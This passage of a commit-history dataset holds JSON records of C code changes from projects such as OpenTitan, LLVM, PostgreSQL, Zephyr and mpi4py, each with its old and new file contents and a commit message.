peripheral_input,\n                                     dif_pinmux_index_t insel) {\n  if (pinmux == NULL || peripheral_input >= PINMUX_PARAM_N_MIO_PERIPH_IN ||\n      insel >= (2 + PINMUX_PARAM_N_MIO_PADS)) {\n    return kDifBadArg;\n  }\n  uint32_t reg_offset =\n      PINMUX_MIO_PERIPH_INSEL_0_REG_OFFSET + (peripheral_input << 2);\n  uint32_t reg_value =\n      bitfield_field32_write(0, PINMUX_MIO_PERIPH_INSEL_0_IN_0_FIELD, insel);\n  mmio_region_write32(pinmux->base_addr, reg_offset, reg_value);\n  return kDifOk;\n}\n","subject":"Add DIF to set pinmux insel","message":"[sw\/pinmux] Add DIF to set pinmux insel\n\nSigned-off-by: Alexander Williams <d0fb8a15e7b6f5e62278a4cf44515038c232186c@google.com>\n","lang":"C","license":"apache-2.0","repos":"lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan"}
{"commit":"f99f3f4944bb8973899bffc52040c19bb31b6119","old_file":"test\/CFrontend\/exact-div-expr.c","new_file":"test\/CFrontend\/exact-div-expr.c","old_contents":"\/\/ RUN: %llvmgcc -S %s -o - -O | grep ashr\n\/\/ RUN: %llvmgcc -S %s -o - -O | not grep sdiv\n\nint test(int *A, int *B) {\n  return A-B;\n}\n","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - -O | grep ashr\n\/\/ RUN: %llvmgcc -S %s -o - -O | not grep sdiv\n\nlong long test(int *A, int *B) {\n  return A-B;\n}\n","subject":"Fix for PR1567, which involves a weird bug on non-32bit architectures and silly C type sizes.","message":"Fix for PR1567, which involves a weird bug on non-32bit architectures and silly C type sizes.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@40451 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"6c7885a58e1d1202fbad71e09d423f8d637e25f8","old_file":"cc1\/tests\/test011.c","new_file":"cc1\/tests\/test011.c","old_contents":"","new_contents":"\/*\nname: TEST011\ndescription: Basic test for goto\noutput:\nF1\nG1\tF1\tmain\n{\n-\nL2\n\tj\tL3\n\tyI\t#I1\nL4\n\tyI\t#I0\nL3\nL5\n\tj\tL4\n\tyI\t#I1\n}\n*\/\n\n#line 1\n\nint\nmain() {\n\tstart:\n\t\tgoto next;\n\t\treturn 1;\n\tsuccess:\n\t\treturn 0;\n\tnext:\n\tfoo:\n\t\tgoto success;\n\t\treturn 1;\n}\n","subject":"Add baisc test for goto","message":"Add baisc test for goto\n","lang":"C","license":"mit","repos":"8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/kcc,8l\/scc,k0gaMSX\/scc"}
{"commit":"ffeaf8d4204a555cb95858839378f36d0c5cc69e","old_file":"VENCore\/VENCore.h","new_file":"VENCore\/VENCore.h","old_contents":"@import Foundation;\n\n#import <VENCore\/VENCreateTransactionRequest.h>\n#import <VENCore\/VENHTTP.h>\n#import <VENCore\/VENHTTPResponse.h>\n#import <VENCore\/VENTransaction.h>\n#import <VENCore\/VENTransactionTarget.h>\n#import <VENCore\/VENUser.h>\n\nextern NSString *const VENErrorDomainCore;\n\ntypedef NS_ENUM(NSInteger, VENCoreErrorCode) {\n    VENCoreErrorCodeNoDefaultCore,\n    VENCoreErrorCodeNoAccessToken\n};\n\n@interface VENCore : NSObject\n\n@property (strong, nonatomic) VENHTTP *httpClient;\n@property (strong, nonatomic) NSString *accessToken;\n\n\n\/**\n * Sets the shared core object.\n * @param core The core object to share.\n *\/\n+ (void)setDefaultCore:(VENCore *)core;\n\n\n\/**\n * Returns the shared core object.\n * @return A VENCore object.\n *\/\n+ (instancetype)defaultCore;\n\n\n\/**\n * Sets the core object's access token.\n *\/\n- (void)setAccessToken:(NSString *)accessToken;\n\n@end\n","new_contents":"@import Foundation;\n\n#import <VENCore\/VENCreateTransactionRequest.h>\n#import <VENCore\/VENHTTP.h>\n#import <VENCore\/VENHTTPResponse.h>\n#import <VENCore\/VENTransaction.h>\n#import <VENCore\/VENTransactionTarget.h>\n#import <VENCore\/VENUser.h>\n#import <VENCore\/NSArray+VENCore.h>\n#import <VENCore\/NSDictionary+VENCore.h>\n#import <VENCore\/NSError+VENCore.h>\n#import <VENCore\/NSString+VENCore.h>\n#import <VENCore\/UIDevice+VENCore.h>\n\nextern NSString *const VENErrorDomainCore;\n\ntypedef NS_ENUM(NSInteger, VENCoreErrorCode) {\n    VENCoreErrorCodeNoDefaultCore,\n    VENCoreErrorCodeNoAccessToken\n};\n\n@interface VENCore : NSObject\n\n@property (strong, nonatomic) VENHTTP *httpClient;\n@property (strong, nonatomic) NSString *accessToken;\n\n\n\/**\n * Sets the shared core object.\n * @param core The core object to share.\n *\/\n+ (void)setDefaultCore:(VENCore *)core;\n\n\n\/**\n * Returns the shared core object.\n * @return A VENCore object.\n *\/\n+ (instancetype)defaultCore;\n\n\n\/**\n * Sets the core object's access token.\n *\/\n- (void)setAccessToken:(NSString *)accessToken;\n\n@end\n","subject":"Add formerly private headers to the umbrella header","message":"Add formerly private headers to the umbrella header\n","lang":"C","license":"mit","repos":"venmo\/VENCore"}
{"commit":"20fa76952f07ba3538e7528444bdbf17a5433099","old_file":"c_solutions_1-10\/Euler_4.c","new_file":"c_solutions_1-10\/Euler_4.c","old_contents":"#include \"euler_util.h\"\n\n#include <string.h>\n\n#define MAX 7 \n\n\nint main(int argc, char *argv[]) \n{\n    float start = timeit();\n    char product[MAX] = { '\\0' };\n    int high = 0;\n\n    for (int x=100; x < 1000; x++) {\n        for (int y=x; y < 1000; y++) {\n\n            int canidate = x * y;\n            size_t int_len = snprintf(product, MAX, \"%d\", canidate);\n            int head = 0, tail = int_len - 1;\n            for (;head < tail && product[head] == product[tail]; head++, tail--)\n                ;\n            if (head > tail && canidate > high)\n                high = canidate;\n        }\n    }\n\n\n    float stop = timeit();\n\n    printf(\"Answer: %d\\n\", high);\n    printf(\"Time: %.8f\\n\", stop - start);\n\n    return 0;\n}\n\n\n","new_contents":"#include \"euler_util.h\"\n\n#include <string.h>\n\n#define MAX 7 \n\n\nint main(int argc, char *argv[]) \n{\n    float start = timeit();\n    char product[MAX] = { '\\0' };\n    int high = 0;\n\n    for (int x=100; x < 1000; x++) {\n        for (int y=x; y < 1000; y++) {\n\n            int canidate = x * y;\n            if (canidate < high)\n                continue;\n\n            size_t int_len = snprintf(product, MAX, \"%d\", canidate);\n            int head = 0, tail = int_len - 1;\n            for (;head < tail && product[head] == product[tail]; head++, tail--)\n                ;\n            if (head > tail)\n                high = canidate;\n        }\n    }\n\n\n    float stop = timeit();\n\n    printf(\"Answer: %d\\n\", high);\n    printf(\"Time: %.8f\\n\", stop - start);\n\n    return 0;\n}\n\n\n","subject":"Test against high before palindrome check down to ~0.01","message":"Test against high before palindrome check down to ~0.01\n","lang":"C","license":"mit","repos":"tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler"}
{"commit":"c09fa15de38e00b487e7aa07ba65882d3cb9d635","old_file":"src\/c\/lib\/colors.h","new_file":"src\/c\/lib\/colors.h","old_contents":"\/*\n * Copyright (c) 2016 Jan Hoffmann\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#pragma once\n\n\n#define COLOR_WINDOW_BACKGROUND GColorWhite\n#define COLOR_WINDOW_FOREGROUND GColorBlack\n\n#define COLOR_WINDOW_PROGRESS_BACKGROUND PBL_IF_COLOR_ELSE(GColorLightGray,GColorWhite)\n#define COLOR_LAYER_PROGRESS_BACKGROUND PBL_IF_COLOR_ELSE(GColorBlack,GColorWhite)\n#define COLOR_LAYER_PROGRESS_FOREGROUND PBL_IF_COLOR_ELSE(GColorWhite,GColorBlack)\n\n#define COLOR_WINDOW_ERROR_BACKGROUND PBL_IF_COLOR_ELSE(GColorCobaltBlue,GColorBlack)\n#define COLOR_WINDOW_ERROR_FOREGROUND GColorWhite\n\n#define COLOR_MENU_NORMAL_BACKGROUND GColorWhite\n#define COLOR_MENU_NORMAL_FOREGROUND GColorBlack\n\n#define COLOR_MENU_HIGHLIGHT_BACKGROUND PBL_IF_COLOR_ELSE(GColorDarkGray,GColorBlack)\n#define COLOR_MENU_HIGHLIGHT_FOREGROUND PBL_IF_COLOR_ELSE(GColorWhite,GColorWhite)\n","new_contents":"\/*\n * Copyright (c) 2016 Jan Hoffmann\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#pragma once\n\n\n#define COLOR_WINDOW_BACKGROUND GColorWhite\n#define COLOR_WINDOW_FOREGROUND GColorBlack\n\n#define COLOR_WINDOW_PROGRESS_BACKGROUND PBL_IF_COLOR_ELSE(GColorLightGray,GColorWhite)\n#define COLOR_LAYER_PROGRESS_BACKGROUND PBL_IF_COLOR_ELSE(GColorBlack,GColorWhite)\n#define COLOR_LAYER_PROGRESS_FOREGROUND PBL_IF_COLOR_ELSE(GColorWhite,GColorBlack)\n\n#define COLOR_WINDOW_ERROR_BACKGROUND PBL_IF_COLOR_ELSE(GColorCobaltBlue,GColorBlack)\n#define COLOR_WINDOW_ERROR_FOREGROUND GColorWhite\n\n#define COLOR_MENU_NORMAL_BACKGROUND GColorWhite\n#define COLOR_MENU_NORMAL_FOREGROUND GColorBlack\n\n#define COLOR_MENU_HIGHLIGHT_BACKGROUND PBL_IF_COLOR_ELSE(GColorCobaltBlue,GColorBlack)\n#define COLOR_MENU_HIGHLIGHT_FOREGROUND PBL_IF_COLOR_ELSE(GColorWhite,GColorWhite)\n","subject":"Change color of list selection to dark blue","message":"Change color of list selection to dark blue\n","lang":"C","license":"mpl-2.0","repos":"janh\/mensa-stuttgart,janh\/mensa-stuttgart,janh\/mensa-stuttgart,janh\/mensa-stuttgart"}
{"commit":"033dc1c92cf018d396e983d425b821dda420cfff","old_file":"contrib\/pg_xlogdump\/rmgrdesc.c","new_file":"contrib\/pg_xlogdump\/rmgrdesc.c","old_contents":"\/*\n * rmgrdesc.c\n *\n * pg_xlogdump resource managers definition\n *\n * contrib\/pg_xlogdump\/rmgrdesc.c\n *\/\n#define FRONTEND 1\n#include \"postgres.h\"\n\n#include \"access\/clog.h\"\n#include \"access\/gin.h\"\n#include \"access\/gist_private.h\"\n#include \"access\/hash.h\"\n#include \"access\/heapam_xlog.h\"\n#include \"access\/multixact.h\"\n#include \"access\/nbtree.h\"\n#include \"access\/rmgr.h\"\n#include \"access\/spgist.h\"\n#include \"access\/xact.h\"\n#include \"access\/xlog_internal.h\"\n#include \"catalog\/storage_xlog.h\"\n#include \"commands\/dbcommands.h\"\n#include \"commands\/sequence.h\"\n#include \"commands\/tablespace.h\"\n#include \"rmgrdesc.h\"\n#include \"storage\/standby.h\"\n#include \"utils\/relmapper.h\"\n\n#define PG_RMGR(symname,name,redo,desc,startup,cleanup,restartpoint) \\\n\t{ name, desc, },\n\nconst RmgrDescData RmgrDescTable[RM_MAX_ID + 1] = {\n#include \"access\/rmgrlist.h\"\n};\n","new_contents":"\/*\n * rmgrdesc.c\n *\n * pg_xlogdump resource managers definition\n *\n * contrib\/pg_xlogdump\/rmgrdesc.c\n *\/\n#define FRONTEND 1\n#include \"postgres.h\"\n\n#include \"access\/clog.h\"\n#include \"access\/gin.h\"\n#include \"access\/gist_private.h\"\n#include \"access\/hash.h\"\n#include \"access\/heapam_xlog.h\"\n#include \"access\/multixact.h\"\n#include \"access\/nbtree.h\"\n#include \"access\/rmgr.h\"\n#include \"access\/spgist.h\"\n#include \"access\/xact.h\"\n#include \"access\/xlog_internal.h\"\n#include \"catalog\/storage_xlog.h\"\n#include \"commands\/dbcommands.h\"\n#include \"commands\/sequence.h\"\n#include \"commands\/tablespace.h\"\n#include \"rmgrdesc.h\"\n#include \"storage\/standby.h\"\n#include \"utils\/relmapper.h\"\n\n#define PG_RMGR(symname,name,redo,desc,startup,cleanup) \\\n\t{ name, desc, },\n\nconst RmgrDescData RmgrDescTable[RM_MAX_ID + 1] = {\n#include \"access\/rmgrlist.h\"\n};\n","subject":"Fix compilation of pg_xlogdump, now that rm_safe_restartpoint is no more.","message":"Fix compilation of pg_xlogdump, now that rm_safe_restartpoint is no more.\n\nOops. Pointed out by Andres Freund.\n","lang":"C","license":"mpl-2.0","repos":"Postgres-XL\/Postgres-XL,ovr\/postgres-xl,oberstet\/postgres-xl,50wu\/gpdb,greenplum-db\/gpdb,xinzweb\/gpdb,ovr\/postgres-xl,adam8157\/gpdb,jmcatamney\/gpdb,pavanvd\/postgres-xl,ashwinstar\/gpdb,zeroae\/postgres-xl,techdragon\/Postgres-XL,lisakowen\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,jmcatamney\/gpdb,greenplum-db\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,50wu\/gpdb,Postgres-XL\/Postgres-XL,lisakowen\/gpdb,ovr\/postgres-xl,greenplum-db\/gpdb,greenplum-db\/gpdb,yazun\/postgres-xl,Postgres-XL\/Postgres-XL,ashwinstar\/gpdb,yazun\/postgres-xl,zeroae\/postgres-xl,xinzweb\/gpdb,jmcatamney\/gpdb,pavanvd\/postgres-xl,ashwinstar\/gpdb,pavanvd\/postgres-xl,lisakowen\/gpdb,yazun\/postgres-xl,ashwinstar\/gpdb,techdragon\/Postgres-XL,jmcatamney\/gpdb,adam8157\/gpdb,50wu\/gpdb,xinzweb\/gpdb,lisakowen\/gpdb,lisakowen\/gpdb,zeroae\/postgres-xl,Postgres-XL\/Postgres-XL,Postgres-XL\/Postgres-XL,ovr\/postgres-xl,50wu\/gpdb,greenplum-db\/gpdb,pavanvd\/postgres-xl,jmcatamney\/gpdb,pavanvd\/postgres-xl,greenplum-db\/gpdb,oberstet\/postgres-xl,ashwinstar\/gpdb,ashwinstar\/gpdb,xinzweb\/gpdb,ashwinstar\/gpdb,adam8157\/gpdb,adam8157\/gpdb,50wu\/gpdb,oberstet\/postgres-xl,techdragon\/Postgres-XL,ovr\/postgres-xl,ashwinstar\/gpdb,lisakowen\/gpdb,50wu\/gpdb,oberstet\/postgres-xl,adam8157\/gpdb,jmcatamney\/gpdb,techdragon\/Postgres-XL,xinzweb\/gpdb,greenplum-db\/gpdb,zeroae\/postgres-xl,adam8157\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,yazun\/postgres-xl,greenplum-db\/gpdb,jmcatamney\/gpdb,yazun\/postgres-xl,50wu\/gpdb,zeroae\/postgres-xl,50wu\/gpdb,techdragon\/Postgres-XL,jmcatamney\/gpdb,lisakowen\/gpdb,oberstet\/postgres-xl"}
{"commit":"fc7e29bc154d67f627274c657b4157132a1503e8","old_file":"src\/auth\/mycrypt.c","new_file":"src\/auth\/mycrypt.c","old_contents":"#define _XOPEN_SOURCE 4\n#define _XOPEN_SOURCE_EXTENDED 1 \/* 1 needed for AIX *\/\n#define _XOPEN_VERSION 4\n#define _XPG4_2\n#include <unistd.h>\n\n#include \"mycrypt.h\"\n\nchar *mycrypt(const char *key, const char *salt)\n{\n\treturn crypt(key, salt);\n}\n","new_contents":"#define _XOPEN_SOURCE 4\n#define _XOPEN_SOURCE_EXTENDED 1 \/* 1 needed for AIX *\/\n#define _XOPEN_VERSION 4\n#define _XPG4_2\n#ifdef CRYPT_USE_XPG6\n#  define _XPG6 \/* Some Solaris versions require this, some break with this *\/\n#endif\n#include <unistd.h>\n\n#include \"mycrypt.h\"\n\nchar *mycrypt(const char *key, const char *salt)\n{\n\treturn crypt(key, salt);\n}\n","subject":"Add _XPG6 macro if needed..","message":"Add _XPG6 macro if needed..\n","lang":"C","license":"mit","repos":"LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot"}
{"commit":"c5b898743a202742847f9738382c9d928b0d8586","old_file":"arch\/arm\/core\/aarch64\/prep_c.c","new_file":"arch\/arm\/core\/aarch64\/prep_c.c","old_contents":"\/*\n * Copyright (c) 2019 Carlo Caione <ccaione@baylibre.com>\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n\/**\n * @file\n * @brief Full C support initialization\n *\n * Initialization of full C support: zero the .bss and call z_cstart().\n *\n * Stack is available in this module, but not the global data\/bss until their\n * initialization is performed.\n *\/\n\n#include <kernel_internal.h>\n\nextern FUNC_NORETURN void z_cstart(void);\n\/**\n *\n * @brief Prepare to and run C code\n *\n * This routine prepares for the execution of and runs C code.\n *\n * @return N\/A\n *\/\nvoid z_arm64_prep_c(void)\n{\n\tz_bss_zero();\n\tz_arm64_interrupt_init();\n\tz_cstart();\n\n\tCODE_UNREACHABLE;\n}\n","new_contents":"\/*\n * Copyright (c) 2019 Carlo Caione <ccaione@baylibre.com>\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n\/**\n * @file\n * @brief Full C support initialization\n *\n * Initialization of full C support: zero the .bss and call z_cstart().\n *\n * Stack is available in this module, but not the global data\/bss until their\n * initialization is performed.\n *\/\n\n#include <kernel_internal.h>\n#include <linker\/linker-defs.h>\n\nextern FUNC_NORETURN void z_cstart(void);\n\nstatic inline void z_arm64_bss_zero(void)\n{\n\tuint64_t *p = (uint64_t *)__bss_start;\n\tuint64_t *end = (uint64_t *)__bss_end;\n\n\twhile (p < end) {\n\t\t*p++ = 0;\n\t}\n}\n\n\/**\n *\n * @brief Prepare to and run C code\n *\n * This routine prepares for the execution of and runs C code.\n *\n * @return N\/A\n *\/\nvoid z_arm64_prep_c(void)\n{\n\tz_arm64_bss_zero();\n\tz_arm64_interrupt_init();\n\tz_cstart();\n\n\tCODE_UNREACHABLE;\n}\n","subject":"Fix alignment fault on z_bss_zero()","message":"aarch64: Fix alignment fault on z_bss_zero()\n\nUsing newlibc with AArch64 is causing an alignement fault in\nz_bss_zero() when the code is run on real hardware (on QEMU the problem\nis not reproducible).\n\nThe main cause is that the memset() function exported by newlibc is\nusing 'DC ZVA' to zero out memory.\n\nWhile this is often a nice optimization, this is causing the issue on\nAArch64 because memset() is being used before the MMU is enabled, and\nwhen the MMU is disabled all data accesses will be treated as\nDevice_nGnRnE.\n\nThis is a problem because quoting from the ARM reference manual: \"If the\nmemory region being zeroed is any type of Device memory, then DC ZVA\ngenerates an Alignment fault which is prioritized in the same way as\nother alignment faults that are determined by the memory type\".\n\nnewlibc tries to be a bit smart about this reading the DCZID_EL0\nregister before deciding whether using 'DC ZVA' or not. While this is a\ngood idea for code running in EL0, currently the Zephyr kernel is\nrunning in EL1. This means that the value of the DCZID_EL0 register is\nactually retrieved from the HCR_EL2.TDZ bit, that is always 0 because\nEL2 is not currently supported \/ enabled. So the 'DC ZVA' instruction is\nunconditionally used in the newlibc memset() implementation.\n\nThe \"standard\" solution for this case is usually to use a different\nmemset routine to be specifically used for two cases: (1) against IO\nmemory or (2) against normal memory but with MMU disabled (which means\nall memory is considered device memory for data accesses).\n\nTo fix this issue in Zephyr we avoid calling memset() when clearing the\nbss, and instead we use a simple loop to zero the memory region.\n\nSigned-off-by: Carlo Caione <ca4506c8c654a4ccf75802e86b5d162c1e96f065@baylibre.com>\n","lang":"C","license":"apache-2.0","repos":"finikorg\/zephyr,galak\/zephyr,galak\/zephyr,Vudentz\/zephyr,nashif\/zephyr,finikorg\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,Vudentz\/zephyr,finikorg\/zephyr,nashif\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,nashif\/zephyr,zephyrproject-rtos\/zephyr,Vudentz\/zephyr,galak\/zephyr,nashif\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr,Vudentz\/zephyr,zephyrproject-rtos\/zephyr,zephyrproject-rtos\/zephyr"}
{"commit":"6b95983e0c50bc24cb0bca433bd93d00d8de276f","old_file":"src\/eigen_qdebug.h","new_file":"src\/eigen_qdebug.h","old_contents":"#ifndef SRC_EIGEN_QDEBUG_H_\n\n#define SRC_EIGEN_QDEBUG_H_\n\n#include <Eigen\/Core>\n#include <QDebug>\n#include <iostream>\n\nQDebug operator<<(QDebug dbg, const Eigen::Vector2f &vector)\n{\n  dbg << \"[\" << vector.x() << \"|\" << vector.y() << \"]\";\n\n  return dbg.maybeSpace();\n}\n\nQDebug operator<<(QDebug dbg, const Eigen::Vector3f &vector)\n{\n  dbg << \"[\" << vector.x() << \"|\" << vector.y() << \"|\" << vector.z() << \"]\";\n\n  return dbg.maybeSpace();\n}\n\nQDebug operator<<(QDebug dbg, const Eigen::Matrix4f &vector)\n{\n  const Eigen::IOFormat cleanFormat(4, 0, \", \", \"\\n\", \"[\", \"]\");\n  std::stringstream stream;\n  stream << vector.format(cleanFormat);\n  dbg << stream.str().c_str();\n\n  return dbg.maybeSpace();\n}\n\n#endif  \/\/ SRC_EIGEN_QDEBUG_H_\n","new_contents":"#ifndef SRC_EIGEN_QDEBUG_H_\n\n#define SRC_EIGEN_QDEBUG_H_\n\n#include <Eigen\/Core>\n#include <QDebug>\n#include <iostream>\n\nQDebug operator<<(QDebug dbg, const Eigen::Vector2f &vector)\n{\n  dbg << \"[\" << vector.x() << \"|\" << vector.y() << \"]\";\n\n  return dbg.maybeSpace();\n}\n\nQDebug operator<<(QDebug dbg, const Eigen::Vector3f &vector)\n{\n  dbg << \"[\" << vector.x() << \"|\" << vector.y() << \"|\" << vector.z() << \"]\";\n\n  return dbg.maybeSpace();\n}\n\nQDebug operator<<(QDebug dbg, const Eigen::Vector4f &vector)\n{\n  dbg << \"[\" << vector.x() << \"|\" << vector.y() << \"|\" << vector.z() << \"|\"\n      << vector.w() << \"]\";\n\n  return dbg.maybeSpace();\n}\n\nQDebug operator<<(QDebug dbg, const Eigen::Matrix4f &vector)\n{\n  const Eigen::IOFormat cleanFormat(4, 0, \", \", \"\\n\", \"[\", \"]\");\n  std::stringstream stream;\n  stream << vector.format(cleanFormat);\n  dbg << stream.str().c_str();\n\n  return dbg.maybeSpace();\n}\n\n#endif  \/\/ SRC_EIGEN_QDEBUG_H_\n","subject":"Add overload for qDebug << and Eigen::Vector4f.","message":"Add overload for qDebug << and Eigen::Vector4f.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"34f3d3bba81d1714588ed7a0daf55d0b05a653f0","old_file":"src\/common\/halloc\/src\/macros.h","new_file":"src\/common\/halloc\/src\/macros.h","old_contents":"\/*\n *\tThis file is a part of Hierarchical Allocator library.\n *\tCopyright (c) 2004-2011 Alex Pankratov. All rights reserved.\n *\n *\thttp:\/\/swapped.cc\/halloc\n *\/\n\n\/*\n *\tThe program is distributed under terms of BSD license. \n *\tYou can obtain the copy of the license by visiting:\n *\n *\thttp:\/\/www.opensource.org\/licenses\/bsd-license.php\n *\/\n\n#ifndef _LIBP_MACROS_H_\n#define _LIBP_MACROS_H_\n\n#include <stddef.h>  \/* offsetof *\/\n\n\/*\n \trestore pointer to the structure by a pointer to its field\n *\/\n#define structof(p,t,f) ((t*)(- offsetof(t,f) + (void*)(p)))\n\n#endif\n\n","new_contents":"\/*\n *\tThis file is a part of Hierarchical Allocator library.\n *\tCopyright (c) 2004-2011 Alex Pankratov. All rights reserved.\n *\n *\thttp:\/\/swapped.cc\/halloc\n *\/\n\n\/*\n *\tThe program is distributed under terms of BSD license. \n *\tYou can obtain the copy of the license by visiting:\n *\n *\thttp:\/\/www.opensource.org\/licenses\/bsd-license.php\n *\/\n\n#ifndef _LIBP_MACROS_H_\n#define _LIBP_MACROS_H_\n\n#include <stddef.h>  \/* offsetof *\/\n#include <stdint.h>  \/* intptr_t *\/\n\n\/*\n \trestore pointer to the structure by a pointer to its field\n *\/\n#define structof(p,t,f) ((t*)(- offsetof(t,f) + (intptr_t)(p)))\n\n#endif\n\n","subject":"Fix pointer cast into integer type.","message":"Fix pointer cast into integer type.\n","lang":"C","license":"apache-2.0","repos":"fintler\/tomatodb,fintler\/tomatodb,fintler\/tomatodb"}
{"commit":"a502e4bfc8c3a016f764df0c4baf9987ba7af1de","old_file":"src\/config\/mpich2.h","new_file":"src\/config\/mpich2.h","old_contents":"#ifndef PyMPI_CONFIG_MPICH2_H\n#define PyMPI_CONFIG_MPICH2_H\n\n#ifdef MS_WINDOWS\n#define PyMPI_MISSING_MPI_TYPE_CREATE_F90_INTEGER 1\n#define PyMPI_MISSING_MPI_TYPE_CREATE_F90_REAL 1\n#define PyMPI_MISSING_MPI_TYPE_CREATE_F90_COMPLEX 1\n#endif\n\n#ifndef ROMIO_VERSION\n#include \"mpich2io.h\"\n#endif \/* !ROMIO_VERSION *\/\n\n#endif \/* !PyMPI_CONFIG_MPICH2_H *\/\n","new_contents":"#ifndef PyMPI_CONFIG_MPICH2_H\n#define PyMPI_CONFIG_MPICH2_H\n\n#ifdef MS_WINDOWS\n#if !defined(MPICH2_NUMVERSION) || (MPICH2_NUMVERSION < 10100000)\n#define PyMPI_MISSING_MPI_TYPE_CREATE_F90_INTEGER 1\n#define PyMPI_MISSING_MPI_TYPE_CREATE_F90_REAL 1\n#define PyMPI_MISSING_MPI_TYPE_CREATE_F90_COMPLEX 1\n#endif \/* MPICH2 < 1.1.0 *\/\n#endif \/* MS_WINDOWS *\/\n\n#ifndef ROMIO_VERSION\n#include \"mpich2io.h\"\n#endif \/* !ROMIO_VERSION *\/\n\n#endif \/* !PyMPI_CONFIG_MPICH2_H *\/\n","subject":"Update for MPICH2 1.1 on Windows","message":"Update for MPICH2 1.1 on Windows","lang":"C","license":"bsd-2-clause","repos":"mpi4py\/mpi4py,pressel\/mpi4py,pressel\/mpi4py,mpi4py\/mpi4py,mpi4py\/mpi4py,pressel\/mpi4py,pressel\/mpi4py"}
{"commit":"c49c79960407e33d6ba47d5de0c78500cbf3205f","old_file":"src\/cpp2\/expr_tok.h","new_file":"src\/cpp2\/expr_tok.h","old_contents":"#ifndef EXPR_TOK_H\n#define EXPR_TOK_H\n\nextern expr_n tok_cur_num;\n\nextern enum tok\n{\n\ttok_ident = -1,\n\ttok_num   = -2,\n\ttok_eof   =  0,\n\n\ttok_lparen = '(',\n\ttok_rparen = ')',\n\n\t\/* operators returned as char-value,\n\t * except for double-char ops\n\t *\/\n\n\t\/* binary *\/\n\ttok_multiply = '*',\n\ttok_divide   = '\/',\n\ttok_modulus  = '%',\n\ttok_plus     = '+',\n\ttok_minus    = '-',\n\ttok_xor      = '^',\n\ttok_or       = '|',\n\ttok_and      = '&',\n\ttok_orsc     = -1,\n\ttok_andsc    = -2,\n\ttok_shiftl   = -3,\n\ttok_shiftr   = -4,\n\n\t\/* unary - TODO *\/\n\ttok_not      = '!',\n\ttok_bnot     = '~',\n\n\t\/* comparison *\/\n\ttok_eq       = -5,\n\ttok_ne       = -6,\n\ttok_le       = -7,\n\ttok_lt       = '<',\n\ttok_ge       = -8,\n\ttok_gt       = '>',\n\n\t\/* ternary *\/\n\ttok_question = '?',\n\ttok_colon    = ':',\n\n#define MIN_OP -8\n} tok_cur;\n\nvoid tok_next(void);\nvoid tok_begin(char *);\nconst char *tok_last(void);\n\n#endif\n","new_contents":"#ifndef EXPR_TOK_H\n#define EXPR_TOK_H\n\nextern expr_n tok_cur_num;\n\nextern enum tok\n{\n\ttok_ident = -1,\n\ttok_num   = -2,\n\ttok_eof   =  0,\n\n\ttok_lparen = '(',\n\ttok_rparen = ')',\n\n\t\/* operators returned as char-value,\n\t * except for double-char ops\n\t *\/\n\n\t\/* binary *\/\n\ttok_multiply = '*',\n\ttok_divide   = '\/',\n\ttok_modulus  = '%',\n\ttok_plus     = '+',\n\ttok_minus    = '-',\n\ttok_xor      = '^',\n\ttok_or       = '|',\n\ttok_and      = '&',\n\ttok_orsc     = -3,\n\ttok_andsc    = -4,\n\ttok_shiftl   = -5,\n\ttok_shiftr   = -6,\n\n\t\/* unary - TODO *\/\n\ttok_not      = '!',\n\ttok_bnot     = '~',\n\n\t\/* comparison *\/\n\ttok_eq       = -7,\n\ttok_ne       = -8,\n\ttok_le       = -9,\n\ttok_lt       = '<',\n\ttok_ge       = -10,\n\ttok_gt       = '>',\n\n\t\/* ternary *\/\n\ttok_question = '?',\n\ttok_colon    = ':',\n\n#define MIN_OP -10\n} tok_cur;\n\nvoid tok_next(void);\nvoid tok_begin(char *);\nconst char *tok_last(void);\n\n#endif\n","subject":"Fix clash in cpp tokens","message":"Fix 